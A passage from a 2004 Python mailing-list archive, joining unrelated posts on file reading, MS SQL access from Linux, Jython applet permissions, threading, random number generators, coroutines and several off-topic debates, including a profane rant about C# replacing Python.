objects are used to represent slices when extended slice syntax is used. This is a slice using two colons, or multiple slices or ellipses separated by commas, e.g., a[i:j:step], a[i:j, k:l], or a[..., i:j]. They are also created by the built-in slice() function. Special read-only attributes: start is the lower bound; stop is the upper bound; step is the step value; each is None if omitted. These attributes can have any type. (from http://www.python.org/dev/doc/devel/ref/types.html#types) . Facundo From peter at semantico.com Mon Sep 13 11:04:14 2004 From: peter at semantico.com (Peter Hickman) Date: Mon, 13 Sep 2004 16:04:14 +0100 Subject: Not able to read blank lines and spaces on a small text file In-Reply-To: <2e569af.0409130648.a6aa116@posting.google.com> References: <2e569af.0409130648.a6aa116@posting.google.com> Message-ID: <4145b6f6$0$19816$afc38c87@news.easynet.co.uk> Ruben wrote: > Hello. > > I am trying to read a small text file using the readline statement. I > can only read the first 2 records from the file. It stops at the blank > lines or at lines with only spaces. I have a while statement checking > for an empty string "" which I understand represents an EOF in Python. > The text file has some blank lines with spaces and other with blanks. My brain is not really working but a blank line is not how python processes a the EOF. Try something like: input_file = open("C:/Documents and Settings/ruben/My Documents/Python/text.txt", "r") for line in input_file: print line, From __peter__ at web.de Thu Sep 2 02:13:15 2004 From: __peter__ at web.de (Peter Otten) Date: Thu, 02 Sep 2004 08:13:15 +0200 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Aug 31) References: Message-ID: For the record: I no longer collect the weekly Python-URL. Who done it? Peter From firstname at lastname.pr1v.n0 Mon Sep 6 03:01:15 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Mon, 6 Sep 2004 09:01:15 +0200 Subject: Xah Lee's Unixism References: <41371e5c$0$19723$61fed72c@news.rcn.com> <20040904.2231.57679snz@dsl.co.uk> <413af268$0$19706$61fed72c@news.rcn.com> Message-ID: In article <413af268$0$19706$61fed72c at news.rcn.com>, wrote: >In article <20040904.2231.57679snz at dsl.co.uk>, > bhk at dsl.co.uk (Brian {Hamilton Kelly}) wrote: >>On Thursday, in article >> <41371e5c$0$19723$61fed72c at news.rcn.com> jmfbahciv at aol.com >> wrote: >> >>> In article <2mmdj0t6mjgif88en11skbo3n8uiuj46nc at 4ax.com>, >>> Brian Inglis wrote: >>> >MS has been borrowing code from Unix to create a real OS: TCP/IP; >>> >NTFS<-ffs; memory mapped files<-mmap. >>> >>> All right. Now I'm mystified. Why did they have to borrow code >>> from Unix? They already had VMS. ISTM, VMS had all of the >>> above. >> >>VMS (originally) most decidedly did NOT have either TCP/IP or NFS. > >I thought VMS did get TCP/IP into it. I don't know anything about >NFS. VMS was too early, and was made too politically correct. TCP/IP was NOT politically correct until around 1996 or so. TPTB wanted OSI, GOSIP/Decnet Phase 5 and all that crud, until we Internet people hammered them. >>Indeed, it took many years before DEC [sorry, by then it was already >>d|i|g|i|t|a|l] had a TCP/IP stack available for VMS --- the dreaded heap >>of quivering jelly created by the Eunice idiots. >> >>Before that, people who needed TCP/IP on a Vax used various third-party >>solutions, such as the implementations from Carnegie-Mellon (CMU) > >Sigh! If CMU had it, I would have assumed it got hornshoed into >VMS. Wrong mindset. TCP/IP was never a DEC invention, much less a D I G I T A L one. >> ..or >>Wollongong universities. Then, of course, there was what many regarded >>as the best TCP/IP stack for VMS, MultiNet from TGV (Two Guys and a VAX). >>That product also included a working NFS implementation. One of these got the nickname Willgowrong aroung here. >Boy, I sure remember a lot of TCP/IP talk over the walls. However, >I don't seem to recall what was said nor when. -- mrr From joewong at mango.cc Thu Sep 23 05:08:37 2004 From: joewong at mango.cc (Joe Wong) Date: Thu, 23 Sep 2004 17:08:37 +0800 Subject: Access to MS SQL from Linux? References: Message-ID: <002d01c4a14c$e9c70fe0$7f00a8c0@scl01.siliconcreation.com> Hi Tim, Thanks for your quick reply. I happen to find another tool from sourceforge: http://pymssql.sourceforge.net/ It uses also FreeTDS. Just give it a try and it works ok for me this time. :) Regards, - Joe ----- Original Message ----- From: "Tim Golden" To: Sent: Thursday, September 23, 2004 5:01 PM Subject: RE: Access to MS SQL from Linux? > [Joe Wong] > | Thanks for the pointer, I just tried freetds with sybase > | python, I can use > | tsql to connect to MS SQL but the python library failed > | > | Sybase.DatabaseError: Msg 2, Level 5701, Line 1851877443 > | > | I am using MSSQL 2000 server, is this a problem? > > Unfortunately, I have no access to a Linux box at the mo, > let alone the one I tested that setup on a while ago. However, > just as reassurance, I connected with the Sybase and MSSQL > modules to a 2000-database without any problems. It was by > way of a proof-of-concept which never grew into anything else. > > I assume you followed all the build instructions (things like -DHAVE_FREETDS > and so on)? Probably worth checking just to make sure, although I've > no idea what the effect would be if you hadn't. > > If you get nowhere by investigation, either try the ODBC route to > see if that works for you and/or talk to the guys at Object Craft > to see if they can help. (Don't know if they actively monitor this > list or not). > > TJG > > ________________________________________________________________________ > This e-mail has been scanned for all viruses by Star. The > service is powered by MessageLabs. For more information on a proactive > anti-virus service working around the clock, around the globe, visit: > http://www.star.net.uk > ________________________________________________________________________ > -- > http://mail.python.org/mailman/listinfo/python-list > --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.768 / Virus Database: 515 - Release Date: 2004/9/22 From zanesdad at bellsouth.net Wed Sep 1 18:34:46 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 01 Sep 2004 18:34:46 -0400 Subject: file access in jythonc In-Reply-To: <9eabe547.0409011314.77bcc7b5@posting.google.com> References: <9eabe547.0408210611.d5e54f7@posting.google.com> <9eabe547.0408301406.2543e691@posting.google.com> <9eabe547.0408311130.73beef80@posting.google.com> <9eabe547.0409010600.4d566928@posting.google.com> <9eabe547.0409011314.77bcc7b5@posting.google.com> Message-ID: <41364E86.4010606@bellsouth.net> John Howard wrote: >Alan Kennedy wrote in message news:... > > >>[John Howard] >> >> >>>So does that mean that a jre does not have to be on the local pc? >>> >>> >>No: there *must* be a JRE on the local PC: how could the java/jython run >>at all without an execution environment? >> >>The JRE on the local PC is the very thing that is preventing you from >>reading files from local drives. >> >>If you want to, you can permit any and all applet to load files from >>your local drive. In Internet Explorer, select >>"Tools->Options"->Security->Custom Level->Microsoft VM->Java >>Permissions->Custom->Java Custom Settings. >> >>In that control panel you can disable all of the protections that your >>browser puts in place to protect you from hostile applets on the >>Internet at large. Feel free to dismantle those security barriers, at >>your own risk: by doing so you're opening the contents of your hard-disk >>to the world. I Hope you're not storing any private or sensitive >>information on there. >> >> >> >>>The local pc does not have to set policies, etc. >>> >>> >>No, that's precisely where you set policies. Where else could they be set? >> >>Alternatively, as others have pointed out multiple times, you can >>digitally sign your applets so that they can be recognized and thus >>given more permissions than unknown applets. >> >> > >I said jre, but meant jvm. But your answer is revealing also! From >what you are saying, it is NOT possible to have a html page that can >access a local file unless at least a jre is present. Again, not good. >I think I'll just write the whole project in C. Forget jython! > > I've gone back to re-read the thread to see if I can figure out what you're trying to do and have been unsuccessful. The only thing I can tell is you want to send a file pointer to the server or something like that. Are you just trying to upload a file to a server? If so, I believe you can do that with just plain HTML with an tag. I'll leave the details between you and Google. One caveat with this is that the person hitting the webpage will have to browser for the file and then hit the submit button. If you're wanting it done automatically (or without the user's knowledge/permission), you may want to find an alternative solution that isn't so concerned with unimportant things like security - you could give MS Internet Explorer and ActiveX a spin :-) I'd like to see the C code you come up with. If you can write a C program that will run on a server, access a client machine, easily snag a file and pull it back to the server without having a willing and compliant process (say, a JVM, JRE, XMLRPC server, a Microsoft operating system full of exploits) running on the client machine, then I am sure there are a number of folks on alt.2600 that would love to see your source. Again, it goes back to, What exactly are you trying to accomplish here? And just one more tip for you - you would do well to watch the "tone of voice" you are using in your postings. While the folks on c.l.p. are extremely kind, generous and tolerant, you will get farther if you didn't come off quite so abrasive. Such statements as: It seems to me that for jythonc to have any use in development of "practical" products, programs have to be able to access local files easily. If not, then this, in my opinion, is going to be a MAJOR issue for jython!! and So...are you saying it can be done? That is, a IE can access a local file (assuming it's there, of course) using a jythonc product? Question is -- HOW??? and From what you are saying, it is NOT possible to have a html page that can access a local file unless at least a jre is present. Again, not good. I think I'll just write the whole project in C. Forget jython! are not going to make people eager to help you out. Taking a peek at http://www.catb.org/~esr/faqs/smart-questions.html might help you out. Jeremy Jones -------------- next part -------------- An HTML attachment was scrubbed... URL: From peter at engcorp.com Wed Sep 15 17:19:04 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 17:19:04 -0400 Subject: thread specific sys.stdout? In-Reply-To: References: Message-ID: <1M2dnf7UBsNULNXcRVn-jA@powergate.ca> aurora wrote: > This may sound a little crazy. I capture the output of one class by > redirecting the sys.stdout. However the is another threading running at > the same time and occasionaly it output some messages to the redirected > sys.stdout irreleveant to the output I want to capture. Is there a way > to redirect output specific to some threads? I don't know if there's a simpler way, but we once wrote a redirector which checked threading.currentThread() to determine whether a particular .write() call should be redirected or just passsed through to the original output via sys.__stdout__. Sorry, I don't have access to the code any more, but it shouldn't be hard for you to reproduce. -Peter From cbfalconer at yahoo.com Thu Sep 9 15:41:05 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Thu, 09 Sep 2004 19:41:05 GMT Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <4140688e$0$6912$61fed72c@news.rcn.com> Message-ID: <4140A885.90B945AC@yahoo.com> Morten Reistad wrote: > ... snip ... > > A lack of focus on world politics has been a characteristica of > the US presidents since Eisenhower. Bush is not special, he just > got the mess in his lap and had to deal with it; just as Nixon > inherited the Vietnam war. That is understandable considering the relative sizes of the US GDP and the rest of the world (until recently), the isolationist ethic between the wars, and such things as the world attitude that Spain was much more then the US could bite off in 1898. Wilson, Roosevelt (both), Truman, Kennedy, Carter, Clinton, Nixon are among the counter-examples. Even Reagan, while a sad example of domestic policy, did fairly well in the foreign affairs department. Elephants do not need to pay too much attention to the surrounding fauna. However Bush is demonstrably poor. He ignored the warnings from the CIA, FBI, outgoing Clinton administration about imminent attacks. He was focused on attacking Saddam and Iraq from the first, and perverted 9/11 into that at the earliest opportunity. He has offended many more than most of his predecessors. I will say that he seems to have learned the names of some foreign leaders since being elected. -- "Churchill and Bush can both be considered wartime leaders, just as Secretariat and Mr Ed were both horses." - James Rhodes. "We have always known that heedless self-interest was bad morals. We now know that it is bad economics" - FDR From steveb428pleaseremovethis at hotmail.com Sun Sep 19 19:11:42 2004 From: steveb428pleaseremovethis at hotmail.com (DilbertFan) Date: Sun, 19 Sep 2004 23:11:42 GMT Subject: python is going to die! =( References: Message-ID: Do what you like to do. Do what's fun. What does Julio like to do? Do that, Julio. "Self-trust is the first secret of success." - Ralph Waldo Emerson "julio" wrote in message news:mailman.3520.1095631846.5135.python-list at python.org... > > > Sorry but there is no another way, c# .net and mono are going to rip > python, not because python is a bad lenguage, but because is to darn old > and it refuses to innovate things, to fix wrong things, just because > retarded backwards compatibility and because the python comunity and > developers refuses to consider tools as being almost as important as the > language itself. > > What does c# .net has that python doesnt ? (significant features) > > -- tools,tools,tools : have people that likes python ever used an ide? i > mean a good ide, the one that saves you a lot of time, and makes you > productive. > > looks like they havent, they think new people is willing to practice emacs > for 6 months before even thinking about being productive, not to mention > you have to learn 20 years old list, and low level c stuff to have fully > advantage. Those guys are realy happy with their stuff that totaly, > completly refuses to try a new tool, a new tool that 'is' better, like say, > an ide??. > > Then we have the , you just need a text editor. This is realy amazing, > tecnology improves, people have to change their way of thinking, i realy > cant count the number of text editors avaiable for python, with basicaly > just syntax highlighting.For example, idle : > > idle is just a text editor with syntax color,nothing else, then you see > that half of buttons are so fucking retarded things that you never > need,indentation stuff, replace tabs and all crap that you never realy > need, the class browser and path browser were in the right way, before they > got abandoned with just the most basic low functionality. > > No help in real programing? why? why do i need to press a retarded button > to indent-deindent reindent stuff but i dont need help with integrated help > system , code completion , source assistant , a freaking decent calltips > support, etc ? It realy makes no sense , no sense at all. > > Why do these people keep reinventing text editors again and again and again > to just add some retarded functionality that noone ever needs? pycrust , > drpython, leo , idle , eclipse plugins(py editors with color) they all love > to reinvent the wheel instead of trying to work together on some common > project to do something usefull, boy if i want a text editor with syntax > color i just use vim,or kate or something. > > For the C # Side there IS : > > sharp develop, wich is going to be ported to linux and mac, and it is even > better than vstudio! is open source . > > monodevelop , which is a little inestable but very very usable , and has > real features!! proyect browsing , full calltips ,code completion,source > help, doc help system , you know , productivity features. > > > -- C # is almost perfetly designed, python is very well designed but it has > some crap that obscurize it and is not going to be removed because of the > damn backwards compatibility thing, C # has all the advantages there is > new ,it has learned from other languages mistakes. Python must break > backward compatibility to be at the same level of play. > At least python has just a few problems in this area compared to java,which > is 50% crap , just to hold backwards compatibility. > > -- C # is easy to use,fast apps coding (as python) but!! it has all the > advantages of a compiled language , like less bugs concerning silly types > mistakes , ides and tools can take much much more advantage of static > typing , it is much much much faster , and finally is much more readable > than python since i dont have to be guessing in the woods to know what type > of value a function return , or what types are the functions argument or > WTF does 'return MOM' means? > > -- C # is killing python, first the gnome guys dont know what to choose for > their core system development , if mono-C # ? or java ? the only reason C # > hasnt being choosen is because of legal issues, and java? well it realy > sucks so no surprise , but is considered just because eclipse wich is the > most kick ass ide ever. AND they dont even consider python for a high level > language to choose!! > > Look at source-forge,(around) python : 3000 proyects , C # 1500 proyects > and C# is much younger than python, not to mention mono is new!! 2 times > more C # proyects are started than python proyects by month, so very soon > C# is going to completly replace python in their areas. Not to mention that > C# proyects are generaly bigger, compared to small command line tools, > python proyects. > > I think is a fact, reality , there is just no way python is going to > survive, i would be happy if someone knows or see something i dont , > because i realy like python, but : C # which has all the m$ licenses and > crap involved is so superior to python in so many ways, its not even > funny,and C# has serius tools, ides ,etc. Look at > nhibernate,nunit,njasper,the super sharp-develop ,monodevelop,etc. BTW > wingware has a very nice ide, but close sourced and at a price of 200$ for > os is ridiculous,and their personal edition is pure crap, no > code-assistant ? lol. Is there a posibility python survives 2 years more at > least? > > Btw , nice quotes on python site : "Python has been an important part of > Google since the beginning, and remains so as the system grows and evolves. > Today dozens of Google engineers use Python, and we're looking for more > people with skills in this language." said Peter Norvig, director of search > quality at Google, Inc. > > But the google code jam, the one google searchs for new hackers to join > their lines is only for c# , java , c++ , nice irony , lie,lie. > > From zathras at thwackety.com Sat Sep 4 10:32:08 2004 From: zathras at thwackety.com (Michael Sparks) Date: Sat, 4 Sep 2004 15:32:08 +0100 (BST) Subject: How to actually write a program? In-Reply-To: <4138EABE.1040402@rogers.com> Message-ID: On Fri, 3 Sep 2004, Mike C. Fletcher wrote: ... > True enlightenment lies somewhere between the extremes. There's > hundreds (thousands?) of books that purport to show you the > one-true-solution to this problem. Any time you see that you can be > pretty sure that there is no "one" solution and that you'll have to > experiment with the ideas expounded by the various religions and figure > out what works *for you*. Just like dieting, cooking and exercise books... ;-) Personally I would say that someone who doesn't know how to program at all would be best doing 2 things: * Playing with code - see what you can build from simple building blocks and work forward from there. * When you've got an idea of what you want to write, take that play and write some tests and work from there. Personally I think when starting off the former of these two is much more important - after all if you don't know how to write any code, how are you going to write the test ? ;-) IMO the former is very important the rest of the time as well, whatever development methodology anyone chooses. Put another way, artists tend to have 2 kinds of picture - sketches and proper works. (along with degrees of in-between-ness) Without the sketches you can't really do the proper works. Without ever doing a proper work, all you're sketches never get any better. I think you get the same sort of thing with programming. Michael. From sebbreuers at gmx.de Mon Sep 27 19:39:00 2004 From: sebbreuers at gmx.de (Sebastian Breuers) Date: Tue, 28 Sep 2004 01:39:00 +0200 Subject: pyexpat Message-ID: <1096328339.13479.5.camel@linux.site> hey, i tried to compile python 2.0 with pyexpat module. I've installed expat-1.95.8. the compiling wasn't successful. so i searched the web and i realised that i need expat-1.2. but nothing changed make test results in the same error-message as before, although i did everything discribed in the Modules/Setup.in. the error message looks like: test test_pyexpat failed -- Writing: "('xml=http://www.w3.org/XML/1998/namespace\\014external_entity', None, 'entity.file',None)", expected: "('http://www.python.org/namespace=http://www.w3.org/XML/1998/namespace\\014external_entity' Does anyone know something about that? gru? seb From carribeiro at gmail.com Fri Sep 10 19:21:19 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 10 Sep 2004 20:21:19 -0300 Subject: question about random number generation In-Reply-To: References: Message-ID: <864d3709040910162124bf3a20@mail.gmail.com> On Fri, 10 Sep 2004 11:37:38 -0600, lu.fan at seagate.com wrote: > I'm a newbie in Python. I have a question about the random number generation in Python vs. Java. > We have a system developed in Python. Now I'm writing tests in Java (actually a Java wrapper) to test it. I need to duplicate a random number generation process in my test which means that given the same seed I expect the same result in Java as in Python. As far as I know, Python uses the Mersenne Twister RNG --- correct me if I am wrong. Do Python and Java use the same RNG? Although you're a newbie in Python, for what you have written I assume that you understand the issues regarding RNG. As the other poster mentioned, the only way to guarantee the generation of the same sequence is by using a RNG routine of your own. That's more difficult than it may seem at first because RNG algorithms have lots of pitfalls and your random numbers may end up not being as random as you think. If you really know what you're doing (and I assume you do), feel free to ignore my advice :-) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From jeremy+plusnews at jeremysanders.net Tue Sep 28 06:27:04 2004 From: jeremy+plusnews at jeremysanders.net (Jeremy Sanders) Date: Tue, 28 Sep 2004 11:27:04 +0100 Subject: Is there a function to search the HD References: <4159229b$0$22676$ba624c82@nntp04.dk.telia.net> Message-ID: On Tue, 28 Sep 2004 10:37:07 +0200, Peter Jensen wrote: > I was wondering if there is an inbuild function in python to search your > harddrives ( Harddisk's) for a file of a speciel type. I mean can I write > a command with 2 parameters ( one being the filetype, and the other the > location on the harddisk where I want to search for the specific file type > ) On Unix, you may want to call locate to do the searching. This is a lot faster than walking the file system yourself. You can use os.system to call locate (see man locate for details). Jeremy From tim.peters at gmail.com Thu Sep 2 21:34:19 2004 From: tim.peters at gmail.com (Tim Peters) Date: Thu, 2 Sep 2004 21:34:19 -0400 Subject: It's in Python. It just _works_! In-Reply-To: <4137b3ed$0$65570$a1866201@newsreader.visi.com> References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> Message-ID: <1f7befae040902183410b8939d@mail.gmail.com> [Grant Edwards] > ... > Apparently, the file descriptor you get from a socket object > under Win32 can't be used with os.read() and os.write()? I > couldn't find anywhere in the docs that said so, but I sure > couldn't get it to work. At least not under WinMe. Socket handles and file descriptors are disjoint concepts in Windows (any flavor), and aren't interchangeable in any context. From Alain.Picard at memetrics.com Wed Sep 8 03:13:46 2004 From: Alain.Picard at memetrics.com (Alain Picard) Date: Wed, 08 Sep 2004 17:13:46 +1000 Subject: Xah Lee's Unixism References: <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <20040907192121.61dbf949.steveo@eircom.net> Message-ID: <87wtz5nsgl.fsf@memetrics.com> Steve O'Hara-Smith writes: > One thing I always found amusing is the amount of science *fiction* > written in the first half of this period about what would happen if the > worlds computers became linked together. Yeah, but unfortunately (fortunately?) nobody predicted that 99% of them would be running such an incredibly stupid dumbed down OS. Maybe that's the only reason why we're still around. :-) From peter at engcorp.com Thu Sep 23 13:46:51 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 Sep 2004 13:46:51 -0400 Subject: lfs confusion In-Reply-To: References: Message-ID: Andrew Dalke wrote: > Python is undergoing a process of int/long unification. > str(long_number) as of 2.0 no longer puts a "L" at the end > of string. > > If you want to use your method, try using 'repr' instead > of 'str'. That probably won't happen for the long term > though (3.0 and greater?). Wouldn't doing type(fd.tell()) be better than coupling the logic to what might be a changing representation of the data? -Peter From abra9823 at mail.usyd.edu.au Sat Sep 4 22:06:46 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Sun, 5 Sep 2004 12:06:46 +1000 Subject: extending Python error In-Reply-To: <4139CE64.5090708@v.loewis.de> References: <4139bfd3$0$24800$9b622d9e@news.freenet.de> <1094305410.4139c682b1dc0@www-mail.usyd.edu.au> <4139CE64.5090708@v.loewis.de> Message-ID: <1094350006.413a74b67c9ba@www-mail.usyd.edu.au> well the problem is: i am trying to do some xml processing on the PDA. i plan to do it in C++ using msxml and then provide a Python wrapper around it. the code below just loads up a simple XML file and parses it. #include #include #include #include #include #include void LoadXML(CString sFilePath) { CComPtr pXMLDoc; pXMLDoc.CoCreateInstance(__uuidof(DOMDocument)); COleVariant vXmlFile(sFilePath); VARIANT_BOOL vSuccess; HRESULT hr = pXMLDoc.CoCreateInstance(__uuidof (DOMDocument)); pXMLDoc->put_validateOnParse(VARIANT_FALSE); pXMLDoc->put_resolveExternals(VARIANT_FALSE); pXMLDoc->put_preserveWhiteSpace(VARIANT_FALSE); hr = pXMLDoc->load(vXmlFile,&vSuccess); } this works perfectly fine until i include the Python.h header at which moment i get a whole list of errors. the errors are raised in atlbase.h and are all the same C:\Windows CE Tools\wce300\Pocket PC 2002\atl\include\atlbase.h(5395) : error C2664: '__WinCE_OutputDebugStringA' : cannot convert parameter 1 from 'const unsigned short *' to 'const char *' Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast C:\Windows CE Tools\wce300\Pocket PC 2002\atl\include\atlbase.h(5396) : error C2664: '__WinCE_OutputDebugStringA' : cannot convert parameter 1 from 'unsigned short [4]' to 'const char *' Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast i think there is something that needs to be changed in Python.h for this to work but have no idea what it is. cheers Quoting "\"Martin v. L?wis\"" : > Ajay wrote: > > i think that might be it. what would i need to change in Python.h to > remove > > the errors? > > I don't know. We would need to understand the problem in detail first. > > Martin > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From tmohr at s.netic.de Thu Sep 9 15:03:44 2004 From: tmohr at s.netic.de (Torsten Mohr) Date: Thu, 09 Sep 2004 21:03:44 +0200 Subject: my own type in C, sequence protocol Message-ID: Hi, i created a new type and implemented the sequence protocol for it, or to be more precise the functions to get the sequence length, to read a value and to assign a value to an item. Now i thought i could assign values to my type like this: m = myType(); m = [ 1, 2, 3]; I have to admit that i'm not really experienced in python. Now that i have implemented the sequence protocol, what can i do with it, can't i assign values like above somehow? Do i need to implement more functions for the sequence protocol? Best regards, Torsten. From mwh at python.net Tue Sep 14 12:17:23 2004 From: mwh at python.net (Michael Hudson) Date: Tue, 14 Sep 2004 16:17:23 GMT Subject: Subclassing in C References: <41470D3A.1040206@research.att.com> Message-ID: Iker Arizmendi writes: > I was setting tp_getattr to 0 in my subclass (*), but when > I set it to PyObject_GenericGetAttr Python crashed. What > does PyObject_GenericGetAttr do that would help in > this case? Well, it does "the usual" attribute access stuff. Descriptors & so on. It's what object.__getattribute__ wraps. > Regards, > Iker > > (*) The class I'm deriving from is defined in another > extension module and it has its own tp_getattr method. Hmm. I take it *it's* tp_getattr[o] method isn't PyObject_GenericGetAttr then? Then your initial post makes more sense; I'm afraid I don't see any obvious reason for PyObject_GenericGetAttr to crash. > Here's the stack trace (via Valgrind), just in case: A stack trace from gdb (i.e. with line numbers) would have been more use. I think you have two options here: (a) make friends with gdb or (b) post [a link to, maybe] complete code. Cheers, mwh -- Those who have deviant punctuation desires should take care of their own perverted needs. -- Erik Naggum, comp.lang.lisp From pmaupin at speakeasy.net Mon Sep 20 09:16:43 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 20 Sep 2004 06:16:43 -0700 Subject: Microthreads without Stackless? References: <8cf9f521.0409171009.142a3fcd@posting.google.com> <8cf9f521.0409181021.6db6a3e4@posting.google.com> <653b7547.0409182157.4339613@posting.google.com> <414d6080$0$17924$ed2619ec@ptn-nntp-reader02.plus.net> <653b7547.0409190842.36cb9051@posting.google.com> <414e329a$0$17961$ed2619ec@ptn-nntp-reader02.plus.net> Message-ID: <653b7547.0409200516.2755419e@posting.google.com> Michael Sparks wrote: > The implied use case is this: Ahh, I see -- code to be used in conjunction with a coroutine, rather than code to be turned into a coroutine... > Unless you think that no coroutine is ever going to use library code of some > kind (either in-house or some shared library, or even just stuff in the > standard python distro), then it is indicative of the sort of thing that > could happily sit half way through a call stack in a stackful coroutine. I agree that a naive implementation of coroutines could have exactly the same sorts of issues with this that the threads module does, but I'm not sure that it wouldn't be possible to do a better job. > Note: I did say that in some circumstances they do make life simpler. > However by adding them in at all, you _risk_ making reasoning about the > entire system more complex, not simpler, depending on the implementation. > It's *not* just sufficient to say that it's stackful. The way you put this is why I thought you were arguing against adding coroutines to the language. I misread statements like "by adding them in at all, you risk..." to mean that if they are added into the language, all sorts of programs will catch them, like measles. Obviously, like threads, the fact that they are available doesn't cause problems for packages that don't use them, and (I hope) obviously, like threads, a good programmer can use them in a fashion which won't endanger his whole program. > That was the reason for the odd try/except/finally "hygiene". The reason for > the bare except was to point out that it would catch any and all errors as > you would normally with finally. You state that you think what I was doing > wasn't good hygiene - however it's one of the few options you have if you > use generators at present. I was aiming for consistency with that, not > sanity :) I missed the point that you were deliberately not using try/finally, but in my defense, I thought the outer try/except should have been try/except/else, with only the open() inside the try, and at a minimum the inner try/except should have re-raised the exception after closing the file. These two things would make debugging process() _so_ much easier :) > I wouldn't say that's ever a reason for not putting something in a language. > You'd never allow anyone to delete files on the disk otherwise... I was > merely pointing out that you stated coroutines simplify reasoning, whereas > in practice it can _break_ the _normal_ reasoning you have for the bulk of > your code. It's true they have to be used carefully, like threads. > > >... I submit that coroutines would be a satisfactory solution > > You seem to be arguing from the point of view that seems to think I'm > against the idea of coroutines entering python, whereas all I was doing was > pointing out that coroutines potentially break the reasoning for very > common code, depending on how they are added. (if say generators were ever > to be extended to be more stackful than they are) Yes, my mis-reading of some of your arguments led me to believe that you were saying that the tool was too dangerous to be made available, rather than that programmers would need to be cautious with such a tool. > It's not, perhaps, quite as nice as "full" coroutines, but then it's > nicer than the equivalent in many other languages. Agreed! And as you point out the current implementation of generators is easy to reason about and make correct code "in the small". However, although I don't have any pressing need for coroutines currently, if I _did_ I would certainly look at greenlets, or Stackless, or any of a number of things before I settled on any of the (non-full) coroutine packages I've seen bandied about here, because IMO these things would not scale in a very readable fashion. Regards, Pat From abra9823 at mail.usyd.edu.au Mon Sep 27 21:26:38 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 28 Sep 2004 11:26:38 +1000 Subject: finding time when url was modified Message-ID: <1096334798.4158bdce2865f@www-mail.usyd.edu.au> hi! i am reading a file on the Web. How can i find out when it was last modified? thanks ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From littlejohn.75 at noos.fr Mon Sep 13 17:30:36 2004 From: littlejohn.75 at noos.fr (F. Petitjean) Date: 13 Sep 2004 21:30:36 GMT Subject: #comments References: Message-ID: <4146117c$0$7601$636a15ce@news.free.fr> On 13 Sep 2004 22:27:32 Ken Parkes wrote: > Hi, > New to this game. Have tried the following. > > data=raw_input("Type something ") # spaces after "something" > myInput=data > print "You typed " myInput # and again print "You typed ", myInput # and again # note the comma > print "The fourth character is "myInput[3] # and again print "The fourth character is ", myInput[3] # and again # same > > When I run it in the shell I get error warnings for the second comment > ( actually pointing to the t of myInput ) If I remove the comment I get > one for the third comment. What is wrong please? The print statement is : print item1, item2 .... From peter at engcorp.com Mon Sep 27 08:10:24 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 27 Sep 2004 08:10:24 -0400 Subject: synchronize a block In-Reply-To: <2rqduhF1di4lmU1@uni-berlin.de> References: <2rqduhF1di4lmU1@uni-berlin.de> Message-ID: Thomas Rademacher wrote: > Hallo, > > I want to synchronize the main function of my script. I havn't a class > structure in my script. > > def main(): > # my code to synchronized > > if __name__=='__main__': > main() > > How can I resolve this problem simply? What do you mean here by "synchronize"? Normally, I believe, it's a term used in multithreaded applications... it has nothing to do with "class structures" or anything else other than as a means to coordinate two or more threads of execution. (Guessing) If you have seen examples of code that does synchronize but it's all based on subclasses of threading.Thread, then maybe you just need to know that the main thread is actually wrapped with a proxy in the threading class when it's imported, and you can just use any normal synchronization technique that you would have used in a thread subclass... (somehow I doubt that's where you were going with this). -Peter From aleaxit at yahoo.com Tue Sep 28 11:47:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 28 Sep 2004 17:47:29 +0200 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> <2rt8rsF1ej1qmU1@uni-berlin.de> <415976d1$0$23090$ba624c82@nntp05.dk.telia.net> <10liubfprlt4g9d@corp.supernews.com> <41597d62$0$23054$ba624c82@nntp05.dk.telia.net> Message-ID: <1gku3wn.1o7mvyb1gtif84N%aleaxit@yahoo.com> Ling Lee wrote: ... > List = > {1:"one",2:"two",3:"three",4:"four",5:"five",6:"six",7:"seven",8:"eight",9 > :"nine"} You're missing 0, so an input such as 103 would give an error even if all the rest of your code was correct. > output = [] > for character in indput: > output.append(List[character]) > print ', '.join(output) This will print N times when you have N digits... outdent the print statement so it's executed after the 'for' and not inside it. Alex From peter at engcorp.com Fri Sep 3 09:43:56 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 03 Sep 2004 09:43:56 -0400 Subject: Test the existence of a variable? In-Reply-To: <2pr33gFoe794U1@uni-berlin.de> References: <41384A58.8040405@chamonix.reportlab.co.uk> <2pr33gFoe794U1@uni-berlin.de> Message-ID: Bernd Kaiser wrote: > I was once told, that in Python you do something and live with the > consequences. > > try: > print var > except NameError, e: > print e Much easier to live with the consequences if there are none: try: var except NameError, e: print e In other words, merely evaluate the name and catch the exception, rather than trying to print it! -Peter From mfuhr at fuhr.org Thu Sep 30 22:53:22 2004 From: mfuhr at fuhr.org (Michael Fuhr) Date: 30 Sep 2004 20:53:22 -0600 Subject: Help required with mod_python and apache virtual hosts References: Message-ID: <415cc6a2$1_4@omega.dimensional.com> andy writes: > I'm trying to get mod_python working on my web server, but I'm 